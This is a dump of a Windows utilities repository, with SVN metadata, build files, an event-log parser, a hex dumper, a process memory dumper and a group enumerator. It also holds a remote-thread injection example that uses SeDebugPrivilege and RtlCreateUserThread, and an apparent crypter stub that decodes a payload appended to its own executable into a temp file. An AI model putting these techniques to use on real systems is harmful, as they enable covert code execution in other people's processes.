83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 249 96 | 97 | Settings.Designer.cs 98 | file 99 | 100 | 101 | 102 | 103 | 2009-12-22T16:56:07.065266Z 104 | 2e8118e26e627930379da7a4266143ec 105 | 2009-12-28T19:43:32.100245Z 106 | 28 107 | hammackj 108 | 109 | 110 | 111 | 112 | 113 | 114 | 115 | 116 | 117 | 118 | 119 | 120 | 121 | 122 | 123 | 124 | 125 | 126 | 127 | 128 | 129 | 1095 130 | 131 | Resources.resx 132 | file 133 | 134 | 135 | 136 | 137 | 2006-08-21T17:15:22.000000Z 138 | 0cd8c971317d19bbed44757809bcb92b 139 | 2009-12-28T19:43:32.100245Z 140 | 28 141 | hammackj 142 | 143 | 144 | 145 | 146 | 147 | 148 | 149 | 150 | 151 | 152 | 153 | 154 | 155 | 156 | 157 | 158 | 159 | 160 | 161 | 162 | 163 | 5612 164 | 165 | Resources.Designer.cs 166 | file 167 | 168 | 169 | 170 | 171 | 2009-12-22T16:55:58.830943Z 172 | abf0b586637a3bff6afb1b62be67f9b6 173 | 2009-12-28T19:43:32.100245Z 174 | 28 175 | hammackj 176 | 177 | 178 | 179 | 180 | 181 | 182 | 183 | 184 | 185 | 186 | 187 | 188 | 189 | 190 | 191 | 192 | 193 | 194 | 195 | 196 | 197 | 2855 198 | 199 | -------------------------------------------------------------------------------- /examples/EventLogParser/EventLogParser/Properties/.svn/text-base/AssemblyInfo.cs.svn-base: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("Event Log Parser")] 9 | [assembly: AssemblyDescription("A tool for opening eventlog(*.evt) files.")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("Event Log Parser")] 13 | [assembly: AssemblyCopyright("")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("cb866c85-7aa8-463e-8862-849e37d7538d")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | [assembly: AssemblyVersion("1.0.0.0")] 33 | [assembly: AssemblyFileVersion("1.0.0.0")] 34 | -------------------------------------------------------------------------------- /examples/EventLogParser/EventLogParser/Properties/.svn/text-base/Settings.Designer.cs.svn-base: -------------------------------------------------------------------------------- 1 | //------------------------------------------------------------------------------ 2 | // 3 | // This code was generated by a tool. 4 | // Runtime Version:2.0.50727.3603 5 | // 6 | // Changes to this file may cause incorrect behavior and will be lost if 7 | // the code is regenerated. 8 | // 9 | //------------------------------------------------------------------------------ 10 | 11 | namespace EventLogParser.Properties { 12 | 13 | 14 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] 15 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "9.0.0.0")] 16 | internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase { 17 | 18 | private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings()))); 19 | 20 | public static Settings Default { 21 | get { 22 | return defaultInstance; 23 | } 24 | } 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /examples/EventLogParser/EventLogParser/Properties/.svn/text-base/Settings.settings.svn-base: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /examples/EventLogParser/EventLogParser/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("Event Log Parser")] 9 | [assembly: AssemblyDescription("A tool for opening eventlog(*.evt) files.")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("Event Log Parser")] 13 | [assembly: AssemblyCopyright("")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("cb866c85-7aa8-463e-8862-849e37d7538d")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | [assembly: AssemblyVersion("1.0.0.0")] 33 | [assembly: AssemblyFileVersion("1.0.0.0")] 34 | -------------------------------------------------------------------------------- /examples/EventLogParser/EventLogParser/Properties/Settings.Designer.cs: -------------------------------------------------------------------------------- 1 | //------------------------------------------------------------------------------ 2 | // 3 | // This code was generated by a tool. 4 | // Runtime Version:2.0.50727.3603 5 | // 6 | // Changes to this file may cause incorrect behavior and will be lost if 7 | // the code is regenerated. 8 | // 9 | //------------------------------------------------------------------------------ 10 | 11 | namespace EventLogParser.Properties { 12 | 13 | 14 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] 15 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "9.0.0.0")] 16 | internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase { 17 | 18 | private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings()))); 19 | 20 | public static Settings Default { 21 | get { 22 | return defaultInstance; 23 | } 24 | } 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /examples/EventLogParser/EventLogParser/Properties/Settings.settings: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /examples/EventLogParser/EventLogParser/bin/Debug/EventLogParser.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wjcsharp/wintools/79b3883aacb5833d747d5bedce843086c327dff3/examples/EventLogParser/EventLogParser/bin/Debug/EventLogParser.exe -------------------------------------------------------------------------------- /examples/EventLogParser/EventLogParser/bin/Debug/EventLogParser.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wjcsharp/wintools/79b3883aacb5833d747d5bedce843086c327dff3/examples/EventLogParser/EventLogParser/bin/Debug/EventLogParser.pdb -------------------------------------------------------------------------------- /examples/EventLogParser/EventLogParser/bin/Debug/EventLogParser.vshost.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wjcsharp/wintools/79b3883aacb5833d747d5bedce843086c327dff3/examples/EventLogParser/EventLogParser/bin/Debug/EventLogParser.vshost.exe -------------------------------------------------------------------------------- /examples/EventLogParser/EventLogParser/bin/Debug/EventLogParser.vshost.exe.manifest: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | -------------------------------------------------------------------------------- /examples/EventLogParser/EventLogParser/obj/Debug/EventLogParser.MainForm.resources: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wjcsharp/wintools/79b3883aacb5833d747d5bedce843086c327dff3/examples/EventLogParser/EventLogParser/obj/Debug/EventLogParser.MainForm.resources -------------------------------------------------------------------------------- /examples/EventLogParser/EventLogParser/obj/Debug/EventLogParser.Properties.Resources.resources: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wjcsharp/wintools/79b3883aacb5833d747d5bedce843086c327dff3/examples/EventLogParser/EventLogParser/obj/Debug/EventLogParser.Properties.Resources.resources -------------------------------------------------------------------------------- /examples/EventLogParser/EventLogParser/obj/Debug/EventLogParser.csproj.FileListAbsolute.txt: -------------------------------------------------------------------------------- 1 | C:\projects\wintools\trunk\EventLogParser_src\EventLogParser\EventLogParser\bin\Debug\EventLogParser.exe 2 | C:\projects\wintools\trunk\EventLogParser_src\EventLogParser\EventLogParser\bin\Debug\EventLogParser.pdb 3 | C:\projects\wintools\trunk\EventLogParser_src\EventLogParser\EventLogParser\obj\Debug\ResolveAssemblyReference.cache 4 | C:\projects\wintools\trunk\EventLogParser_src\EventLogParser\EventLogParser\obj\Debug\EventLogParser.MainForm.resources 5 | C:\projects\wintools\trunk\EventLogParser_src\EventLogParser\EventLogParser\obj\Debug\EventLogParser.Properties.Resources.resources 6 | C:\projects\wintools\trunk\EventLogParser_src\EventLogParser\EventLogParser\obj\Debug\EventLogParser.csproj.GenerateResource.Cache 7 | C:\projects\wintools\trunk\EventLogParser_src\EventLogParser\EventLogParser\obj\Debug\EventLogParser.exe 8 | C:\projects\wintools\trunk\EventLogParser_src\EventLogParser\EventLogParser\obj\Debug\EventLogParser.pdb 9 | -------------------------------------------------------------------------------- /examples/EventLogParser/EventLogParser/obj/Debug/EventLogParser.csproj.GenerateResource.Cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wjcsharp/wintools/79b3883aacb5833d747d5bedce843086c327dff3/examples/EventLogParser/EventLogParser/obj/Debug/EventLogParser.csproj.GenerateResource.Cache -------------------------------------------------------------------------------- /examples/EventLogParser/EventLogParser/obj/Debug/EventLogParser.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wjcsharp/wintools/79b3883aacb5833d747d5bedce843086c327dff3/examples/EventLogParser/EventLogParser/obj/Debug/EventLogParser.exe -------------------------------------------------------------------------------- /examples/EventLogParser/EventLogParser/obj/Debug/EventLogParser.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wjcsharp/wintools/79b3883aacb5833d747d5bedce843086c327dff3/examples/EventLogParser/EventLogParser/obj/Debug/EventLogParser.pdb -------------------------------------------------------------------------------- /examples/GetVersionEx/.svn/all-wcprops: -------------------------------------------------------------------------------- 1 | K 25 2 | svn:wc:ra_dav:version-url 3 | V 44 4 | /svn/wintools/!svn/ver/17/trunk/GetVersionEx 5 | END 6 | GetVersionEx.c 7 | K 25 8 | svn:wc:ra_dav:version-url 9 | V 59 10 | /svn/wintools/!svn/ver/17/trunk/GetVersionEx/GetVersionEx.c 11 | END 12 | Makefile 13 | K 25 14 | svn:wc:ra_dav:version-url 15 | V 53 16 | /svn/wintools/!svn/ver/17/trunk/GetVersionEx/Makefile 17 | END 18 | -------------------------------------------------------------------------------- /examples/GetVersionEx/.svn/entries: -------------------------------------------------------------------------------- 1 | 10 2 | 3 | dir 4 | 171 5 | https://hammackj.com/svn/wintools/trunk/GetVersionEx 6 | https://hammackj.com/svn/wintools 7 | 8 | 9 | 10 | 2009-12-27T03:35:47.070571Z 11 | 17 12 | hammackj 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | fa1ede9b-e87d-4a9c-98e3-d6d07e400da8 28 | 29 | GetVersionEx.c 30 | file 31 | 32 | 33 | 34 | 35 | 2009-12-28T13:49:47.028707Z 36 | 8ca5c393a931ecb94878af5d67d42042 37 | 2009-12-16T13:44:40.517816Z 38 | 1 39 | hammackj 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 8504 62 | 63 | Makefile 64 | file 65 | 66 | 67 | 68 | 69 | 2009-12-28T13:49:47.028707Z 70 | 85e9c9d1d6ca6f0d30254a40ebfa4ba5 71 | 2009-12-16T13:44:40.517816Z 72 | 1 73 | hammackj 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 246 96 | 97 | -------------------------------------------------------------------------------- /examples/GetVersionEx/.svn/text-base/Makefile.svn-base: -------------------------------------------------------------------------------- 1 | CC=cl 2 | CFLAGS= /nologo /MT /O2 /TC /Zi 3 | LINKS=/link user32.lib /OUT:GetVersionEx.exe /SUBSYSTEM:CONSOLE 4 | 5 | all: GetVersionEx 6 | 7 | GetVersionEx: GetVersionEx.c 8 | $(CC) $(CFLAGS) GetVersionEx.c $(LINKS) 9 | 10 | clean: 11 | del *.exe; del *.obj *.pdb *.ilk 12 | -------------------------------------------------------------------------------- /examples/GetVersionEx/Makefile: -------------------------------------------------------------------------------- 1 | CC=cl 2 | CFLAGS= /nologo /MT /O2 /TC /Zi 3 | LINKS=/link user32.lib /OUT:GetVersionEx.exe /SUBSYSTEM:CONSOLE 4 | 5 | all: GetVersionEx 6 | 7 | GetVersionEx: GetVersionEx.c 8 | $(CC) $(CFLAGS) GetVersionEx.c $(LINKS) 9 | 10 | clean: 11 | del *.exe; del *.obj *.pdb *.ilk 12 | -------------------------------------------------------------------------------- /examples/RtlCreateUserThread_example.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | using namespace std; 5 | 6 | typedef struct _CLIENT_ID 7 | { 8 | PVOID UniqueProcess; 9 | PVOID UniqueThread; 10 | } CLIENT_ID, *PCLIENT_ID; 11 | 12 | EXTERN_C LONG WINAPI RtlCreateUserThread(HANDLE, 13 | PSECURITY_DESCRIPTOR, 14 | BOOLEAN,ULONG, 15 | PULONG,PULONG, 16 | PVOID,PVOID, 17 | PHANDLE,PCLIENT_ID); 18 | EXTERN_C LONG WINAPI NtResumeThread(HANDLE ThreadHandle,PULONG SuspendCount); 19 | 20 | int main(){ 21 | HANDLE hThread; 22 | CLIENT_ID cid; 23 | DWORD PID,exts; 24 | PVOID para; 25 | char dll[60],func[60]; 26 | HANDLE hToken; 27 | LUID luid; 28 | LookupPrivilegeValue(NULL,SE_DEBUG_NAME,&luid); 29 | TOKEN_PRIVILEGES tp; 30 | tp.Privileges[0].Luid=luid; 31 | tp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED; 32 | tp.PrivilegeCount=1; 33 | OpenProcessToken(GetCurrentProcess(),TOKEN_ALL_ACCESS,&hToken); 34 | AdjustTokenPrivileges(hToken,false,&tp,sizeof(tp),NULL,NULL); 35 | cout <<"==========Remote Thread Creator==========\n\n"; 36 | cout <<"This program create remote thread within another process using\nRtlCreateUserThread function. Instead of using\n"; 37 | cout <<"GetProcAddress function to get the function address, it import the function\n"; 38 | cout <<"from ntdll.dll directly.\n\n"; 39 | cout <<"Enter PID:"; 40 | cin >>PID; 41 | cout <<"Enter DLL name:"; 42 | cin >>dll; 43 | cout <<"Enter function name:"; 44 | cin >>func; 45 | cout <<"Enter parameter:"; 46 | cin >>para; 47 | HMODULE hModule=GetModuleHandle(dll); 48 | HANDLE hProcess=OpenProcess(PROCESS_ALL_ACCESS,false,PID); 49 | RtlCreateUserThread(hProcess,NULL,true,0,0,0,(PVOID)GetProcAddress(hModule,func),para,&hThread,&cid); 50 | cout <<"Thread created in suspended state. Press enter to resume it.\n\n"; 51 | system("pause"); 52 | NtResumeThread(hThread,NULL); 53 | WaitForSingleObject(hThread,INFINITE); 54 | GetExitCodeThread(hThread,&exts); 55 | cout <<"\n\nThread terminated with status code: "< 8 | #include 9 | #include 10 | #include 11 | #include 12 | 13 | #define MySize 19856 14 | 15 | FILE *mySelf, *tmpFile; 16 | struct stat myStat; 17 | char myName[MAX_PATH], tmpName[MAX_PATH]; 18 | int embedSize, x; 19 | char *myByte, *modeByte, *cByte; 20 | 21 | int main() 22 | { 23 | GetModuleFileName(NULL, myName, sizeof(myName)); 24 | stat(myName, &myStat); 25 | embedSize=myStat.st_size-MySize; 26 | mySelf=fopen(myName, "rb"); 27 | lseek(fileno(mySelf), MySize, SEEK_SET); 28 | tmpnam(tmpName); 29 | tmpFile=fopen(tmpName, "wb"); 30 | myByte=(char *)malloc(1); 31 | modeByte=(char *)malloc(1); 32 | cByte=(char *)malloc(1); 33 | fread(modeByte, 1, 1, mySelf); /// Crypt mode 34 | fread(cByte, 1, 1, mySelf); // Crypt byte 35 | for(x=0; x 6 | #include 7 | 8 | #define SEGMENT 16 9 | 10 | void dump(FILE *in, FILE *out) 11 | { 12 | char buf[SEGMENT]; 13 | int c,i,m = 0; 14 | 15 | while((c = fgetc(in)) != EOF) { 16 | if(!(m % SEGMENT)) { 17 | memset(&buf,0,SEGMENT+1); 18 | fprintf(out," [0x%04X] | ",m); 19 | } 20 | 21 | fprintf(out,"%02X ",c); 22 | 23 | if(isspace© || !isprint©) 24 | buf[m % SEGMENT] = '.'; 25 | else 26 | buf[m % SEGMENT] = c; 27 | m++; 28 | if(!(m % SEGMENT)) 29 | fprintf(out,"| %s\n",buf); 30 | } 31 | 32 | if(m % SEGMENT != 0) { 33 | for(i = 0; i < (SEGMENT - m % SEGMENT); i++) 34 | fprintf(out," "); 35 | fprintf(out,"| %s\n",buf); 36 | } 37 | } 38 | 39 | int main(int argc, char **argv) 40 | { 41 | if(argc < 2) { 42 | fprintf(stderr, 43 | "ERROR: Not enough parameters provided.\n" 44 | "Usage: %s INPUT_FILE [OUTPUT_FILE]\n", 45 | argv[0]); 46 | return 1; 47 | } 48 | 49 | FILE *in, *out; 50 | 51 | in = fopen(argv[1],"rb"); 52 | out = (argc > 2) ? fopen(argv[2],"w") : stdout; 53 | 54 | if(in == NULL || out == NULL) { 55 | fprintf(stderr,"ERROR: Error opening file."); 56 | return 1; 57 | } 58 | 59 | fprintf(out,"\t\t\t- Hex Dump of %s -\n", argv[1]); 60 | dump(in,out); 61 | fprintf(out,"\t\t\t- End of file. -\n"); 62 | 63 | fclose(in); 64 | fclose(out); 65 | 66 | return 0; 67 | } 68 | -------------------------------------------------------------------------------- /examples/linuxmemdump.c: -------------------------------------------------------------------------------- 1 | /* procmem.c 2 | * dump the memory of a process to stdout 3 | * 2011-09-07 4 | * written by X-N2O 5 | */ 6 | 7 | #define _LARGEFILE64_SOURCE 8 | 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | 15 | 16 | void dump_region(int fd, off64_t start, off64_t end) 17 | { 18 | char buf[4096]; 19 | 20 | lseek64(fd, start, SEEK_SET); 21 | while(start < end) { 22 | int rd; 23 | 24 | rd = read(fd, buf, 4096); 25 | write(STDOUT_FILENO, buf, rd); 26 | start += 4096; 27 | } 28 | } 29 | 30 | int main(int argc, char *argv[]) 31 | { 32 | FILE *maps; 33 | int mem; 34 | pid_t pid; 35 | char path[BUFSIZ]; 36 | 37 | if(argc < 2) { 38 | fprintf(stderr, "usage: %s pid\n", argv[0]); 39 | return EXIT_FAILURE; 40 | } 41 | 42 | pid = strtol(argv[1], NULL, 10); 43 | if(ptrace(PTRACE_ATTACH, pid, NULL, NULL) == -1) { 44 | perror("ptrace"); 45 | return EXIT_FAILURE; 46 | } 47 | 48 | snprintf(path, sizeof(path), "/proc/%d/maps", pid); 49 | maps = fopen(path, "r"); 50 | 51 | snprintf(path, sizeof(path), "/proc/%d/mem", pid); 52 | mem = open(path, O_RDONLY); 53 | 54 | if(maps && mem != -1) { 55 | char buf[BUFSIZ + 1]; 56 | 57 | while(fgets(buf, BUFSIZ, maps)) { 58 | off64_t start, end; 59 | 60 | sscanf(buf, "%llx-%llx", &start, &end); 61 | dump_region(mem, start, end); 62 | } 63 | } 64 | 65 | ptrace(PTRACE_DETACH, pid, NULL, NULL); 66 | if(mem != -1) 67 | close(mem); 68 | if(maps) 69 | fclose(maps); 70 | 71 | return EXIT_SUCCESS; 72 | } -------------------------------------------------------------------------------- /examples/memscan/.svn/all-wcprops: -------------------------------------------------------------------------------- 1 | K 25 2 | svn:wc:ra_dav:version-url 3 | V 39 4 | /svn/wintools/!svn/ver/18/trunk/memscan 5 | END 6 | memscan.c 7 | K 25 8 | svn:wc:ra_dav:version-url 9 | V 49 10 | /svn/wintools/!svn/ver/18/trunk/memscan/memscan.c 11 | END 12 | -------------------------------------------------------------------------------- /examples/memscan/.svn/entries: -------------------------------------------------------------------------------- 1 | 10 2 | 3 | dir 4 | 171 5 | https://hammackj.com/svn/wintools/trunk/memscan 6 | https://hammackj.com/svn/wintools 7 | 8 | 9 | 10 | 2009-12-27T03:36:48.785579Z 11 | 18 12 | hammackj 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | fa1ede9b-e87d-4a9c-98e3-d6d07e400da8 28 | 29 | memscan.c 30 | file 31 | 32 | 33 | 34 | 35 | 2009-12-28T13:49:46.044288Z 36 | 11e27e781faa1b9cd5ef610fe30daae1 37 | 2009-12-16T13:44:40.517816Z 38 | 1 39 | hammackj 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 2711 62 | 63 | -------------------------------------------------------------------------------- /examples/msdn_ver_sig/.svn/all-wcprops: -------------------------------------------------------------------------------- 1 | K 25 2 | svn:wc:ra_dav:version-url 3 | V 45 4 | /svn/wintools/!svn/ver/141/trunk/msdn_ver_sig 5 | END 6 | versig.c 7 | K 25 8 | svn:wc:ra_dav:version-url 9 | V 54 10 | /svn/wintools/!svn/ver/141/trunk/msdn_ver_sig/versig.c 11 | END 12 | Makefile 13 | K 25 14 | svn:wc:ra_dav:version-url 15 | V 54 16 | /svn/wintools/!svn/ver/141/trunk/msdn_ver_sig/Makefile 17 | END 18 | -------------------------------------------------------------------------------- /examples/msdn_ver_sig/.svn/entries: -------------------------------------------------------------------------------- 1 | 10 2 | 3 | dir 4 | 171 5 | https://hammackj.com/svn/wintools/trunk/msdn_ver_sig 6 | https://hammackj.com/svn/wintools 7 | 8 | 9 | 10 | 2010-02-17T00:53:20.178462Z 11 | 141 12 | hammackj 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | fa1ede9b-e87d-4a9c-98e3-d6d07e400da8 28 | 29 | versig.c 30 | file 31 | 32 | 33 | 34 | 35 | 2010-02-22T19:09:26.395342Z 36 | 1c5e1a6d9feed7e2219538d6060f4155 37 | 2010-02-17T00:53:20.178462Z 38 | 141 39 | hammackj 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 6310 62 | 63 | Makefile 64 | file 65 | 66 | 67 | 68 | 69 | 2010-02-22T19:09:26.395342Z 70 | 17d72a14293059261dd0212eed40e045 71 | 2010-02-17T00:53:20.178462Z 72 | 141 73 | hammackj 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 236 96 | 97 | -------------------------------------------------------------------------------- /examples/msdn_ver_sig/.svn/text-base/Makefile.svn-base: -------------------------------------------------------------------------------- 1 | CC=i386-mingw32-gcc 2 | #CFLAGS= /nologo /MT /O2 /TC 3 | CFLAGS=-x c 4 | #LINKS=/link kernel32.lib /OUT:dl.exe /SUBSYSTEM:CONSOLE 5 | LINKS=-o versig.exe 6 | 7 | all: versig 8 | 9 | versig: versig.c 10 | $(CC) $(CFLAGS) versig.c $(LINKS) 11 | 12 | clean: 13 | del *.exe; del *.obj 14 | -------------------------------------------------------------------------------- /examples/msdn_ver_sig/Makefile: -------------------------------------------------------------------------------- 1 | CC=i386-mingw32-gcc 2 | #CFLAGS= /nologo /MT /O2 /TC 3 | CFLAGS=-x c 4 | #LINKS=/link kernel32.lib /OUT:dl.exe /SUBSYSTEM:CONSOLE 5 | LINKS=-o versig.exe 6 | 7 | all: versig 8 | 9 | versig: versig.c 10 | $(CC) $(CFLAGS) versig.c $(LINKS) 11 | 12 | clean: 13 | del *.exe; del *.obj 14 | -------------------------------------------------------------------------------- /examples/netenumgroups/.svn/all-wcprops: -------------------------------------------------------------------------------- 1 | K 25 2 | svn:wc:ra_dav:version-url 3 | V 45 4 | /svn/wintools/!svn/ver/20/trunk/netenumgroups 5 | END 6 | netenumgroups.c 7 | K 25 8 | svn:wc:ra_dav:version-url 9 | V 61 10 | /svn/wintools/!svn/ver/20/trunk/netenumgroups/netenumgroups.c 11 | END 12 | Makefile 13 | K 25 14 | svn:wc:ra_dav:version-url 15 | V 54 16 | /svn/wintools/!svn/ver/20/trunk/netenumgroups/Makefile 17 | END 18 | -------------------------------------------------------------------------------- /examples/netenumgroups/.svn/entries: -------------------------------------------------------------------------------- 1 | 10 2 | 3 | dir 4 | 171 5 | https://hammackj.com/svn/wintools/trunk/netenumgroups 6 | https://hammackj.com/svn/wintools 7 | 8 | 9 | 10 | 2009-12-27T03:39:04.136166Z 11 | 20 12 | hammackj 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | fa1ede9b-e87d-4a9c-98e3-d6d07e400da8 28 | 29 | netenumgroups.c 30 | file 31 | 32 | 33 | 34 | 35 | 2009-12-28T13:49:50.356869Z 36 | f2dce781532dd0f30a5003f639daaa14 37 | 2009-12-16T13:44:40.517816Z 38 | 1 39 | hammackj 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 1293 62 | 63 | Makefile 64 | file 65 | 66 | 67 | 68 | 69 | 2009-12-28T13:49:50.356869Z 70 | abb03090813ad869b7a15f521c2aa786 71 | 2009-12-16T13:44:40.517816Z 72 | 1 73 | hammackj 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 231 96 | 97 | -------------------------------------------------------------------------------- /examples/netenumgroups/.svn/text-base/Makefile.svn-base: -------------------------------------------------------------------------------- 1 | CC=cl 2 | CFLAGS= /nologo /MT /O2 3 | LINKS=/link kernel32.lib Netapi32.lib /OUT:netenumgroups.exe /SUBSYSTEM:CONSOLE 4 | 5 | all: netenumgroups 6 | 7 | netenumgroups: 8 | $(CC) $(CFLAGS) netenumgroups.c $(LINKS) 9 | 10 | clean: 11 | del *.exe; del *.obj 12 | -------------------------------------------------------------------------------- /examples/netenumgroups/.svn/text-base/netenumgroups.c.svn-base: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #pragma hdrstop 6 | 7 | #define MAXLEN 256 8 | 9 | int main( int argc, char *argv[] ) 10 | { 11 | LOCALGROUP_INFO_1 *buf, *cur; 12 | DWORD read, total, resumeh, rc, i; 13 | wchar_t server[MAXLEN]; 14 | 15 | if ( argc != 2 ) 16 | { 17 | puts( "usage: nlge \\\\server" ); 18 | return 1; 19 | } 20 | 21 | mbstowcs( server, argv[1], MAXLEN ); 22 | 23 | resumeh = 0; 24 | do 25 | { 26 | buf = NULL; 27 | rc = NetLocalGroupEnum( server, 1, (BYTE **) &buf, 512, &read, &total, &resumeh ); 28 | 29 | if ( rc != ERROR_MORE_DATA && rc != ERROR_SUCCESS ) 30 | { 31 | break; 32 | } 33 | 34 | printf( "\ngot %lu entries out of %lu remaining\n", read, total ); 35 | printf( "%-20.20s %.58s\n", "local group name", "comment" ); 36 | printf( "%-20.20s %-58.58s\n", "--------------------", 37 | "----------------------------------------------------------" ); 38 | 39 | for ( i = 0, cur = buf; i < read; ++ i, ++ cur ) 40 | { 41 | // Note: the capital S in the format string will expect Unicode 42 | // strings, as this is a program written/compiled for ANSI. 43 | printf( "%-20.20S %.58S\n", cur->lgrpi1_name, cur->lgrpi1_comment ); 44 | } 45 | 46 | if ( buf != NULL ) 47 | NetApiBufferFree( buf ); 48 | 49 | } while ( rc == ERROR_MORE_DATA ); 50 | 51 | if ( rc != ERROR_SUCCESS ) 52 | printf( "NLGE() returned %lu\n", rc ); 53 | 54 | return 0; 55 | } -------------------------------------------------------------------------------- /examples/netenumgroups/Makefile: -------------------------------------------------------------------------------- 1 | CC=cl 2 | CFLAGS= /nologo /MT /O2 3 | LINKS=/link kernel32.lib Netapi32.lib /OUT:netenumgroups.exe /SUBSYSTEM:CONSOLE 4 | 5 | all: netenumgroups 6 | 7 | netenumgroups: 8 | $(CC) $(CFLAGS) netenumgroups.c $(LINKS) 9 | 10 | clean: 11 | del *.exe; del *.obj 12 | -------------------------------------------------------------------------------- /examples/netenumgroups/netenumgroups.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #pragma hdrstop 6 | 7 | #define MAXLEN 256 8 | 9 | int main( int argc, char *argv[] ) 10 | { 11 | LOCALGROUP_INFO_1 *buf, *cur; 12 | DWORD read, total, resumeh, rc, i; 13 | wchar_t server[MAXLEN]; 14 | 15 | if ( argc != 2 ) 16 | { 17 | puts( "usage: nlge \\\\server" ); 18 | return 1; 19 | } 20 | 21 | mbstowcs( server, argv[1], MAXLEN ); 22 | 23 | resumeh = 0; 24 | do 25 | { 26 | buf = NULL; 27 | rc = NetLocalGroupEnum( server, 1, (BYTE **) &buf, 512, &read, &total, &resumeh ); 28 | 29 | if ( rc != ERROR_MORE_DATA && rc != ERROR_SUCCESS ) 30 | { 31 | break; 32 | } 33 | 34 | printf( "\ngot %lu entries out of %lu remaining\n", read, total ); 35 | printf( "%-20.20s %.58s\n", "local group name", "comment" ); 36 | printf( "%-20.20s %-58.58s\n", 